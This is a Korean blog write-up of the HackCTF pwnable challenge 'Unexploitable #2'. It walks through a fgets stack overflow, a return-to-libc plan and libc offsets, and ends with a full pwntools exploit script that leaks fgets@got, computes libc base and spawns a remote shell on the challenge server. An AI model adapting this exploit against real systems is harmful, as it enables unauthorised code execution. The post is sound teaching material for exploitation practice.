tmxklab

[HackCTF/Pwnable] Unexploitable #2 본문

War Game/HackCTF

[HackCTF/Pwnable] Unexploitable #2

tmxk4221 2020. 8. 15. 20:03

1. 문제

nc ctf.j0n9hyun.xyz 3029

 

1) mitigation 확인

 

2) 문제 확인

  • 입력 값을 받자마자 종료된다.

 

3) 코드 흐름 확인

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [rsp+0h] [rbp-10h]

  setvbuf(_bss_start, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  fwrite("Hard RTL ha? You don't even have fflush@dynstr!\n", 1uLL, 0x30uLL, _bss_start);
  fgets(&s, 64, stdin);
  return 0;
}
  • s변수[rbp-0x10]에 fgets()를 통해 64bytes까지 입력 받을 수 있음 → bof

 

3-2) gift()

int gift()
{
  return system("use this system gadget :D");
}
  • Unexploitable #1문제와 동일하게 system함수가 주어졌다.

 


2. 접근방법

 

이전에 풀었던 Unexploitable #1과 동일하다.

bof를 통해 RTL이 가능하고 system함수도 주어졌기 때문에 system함수를 이용하여 주소를 leak하자

 

참고 : 

 

[HackCTF/Pwnable] Unexploitable #1

1. 문제 nc ctf.j0n9hyun.xyz 3023 1) mitigation 확인 2) 문제 확인 system@plt는 주어졌다고 출력하면서 입력 값을 받을 수 있다. 3) 코드 흐름 확인 3-1) main() int __cdecl main(int argc, const char **..

rninche01.tistory.com

 

공격 프로세스)

  • RTL을 수행하여 system함수 인자에 fgets@got값을 넣자
  • fgets함수 실제 주소 값이 leak되면서 libc base주소를 구할 수 있다.
  • libc base주소를 통해 system함수, binsh문자열 주소를 구한다.
  • RTL을 수행하여 system(binsh)을 한다.

 


3. 풀이

 

1) fgets() leak

  • fgets() 하위 2bytes : 0x8ad0

 

2) libc database

  • fgets offset : 0x6dad0
  • system offset : 0x45390
  • binsh offset : 0x18cd57

 

3) 익스코드

from pwn import *

context.log_level="debug"

#p = process("./Unexploitable_2")
p = remote("ctf.j0n9hyun.xyz", 3029)
e = ELF("./Unexploitable_2")
#gdb.attach(p, """b*0x400706""")

system_plt = e.symbols['system']
main_addr = e.symbols['main']
pr_addr = 0x400773
fgets_got = e.got['fgets']
fgets_offset = 0x6dad0
system_offset = 0x45390
binsh_offset = 0x18cd57

# 1. leak fgets address
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(fgets_got)
payload += p64(system_plt)
payload += p64(main_addr)

p.sendlineafter("\n",payload)

p.recvuntil("1: ")
fgets_addr = u64(p.recv(6).ljust(8, "\x00"))
libc_base = fgets_addr - fgets_offset
system_addr = libc_base + system_offset
binsh_addr = libc_base + binsh_offset

log.info("libc_addr : " +hex(libc_base))
log.info("fgets_addr : " +hex(fgets_addr))
log.info("system_addr : " +hex(system_addr))
log.info("binsh_addr : " +hex(binsh_addr))

# 2. RTL
payload = "A"*0x18
payload += p64(pr_addr)
payload += p64(binsh_addr)
payload += p64(system_addr)

p.sendlineafter("\n", payload)

p.interactive()

 

4) 공격실행

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] j0n9hyun's secret  (0) 2020.08.15
[HackCTF/Pwnable] babyheap  (0) 2020.08.15
[HackCTF/Pwnable] 풍수지리설  (0) 2020.08.15
[HackCTF/Pwnable] World Best Encryption Tool  (0) 2020.08.15
[HackCTF/Pwnable] register  (0) 2020.08.15
Comments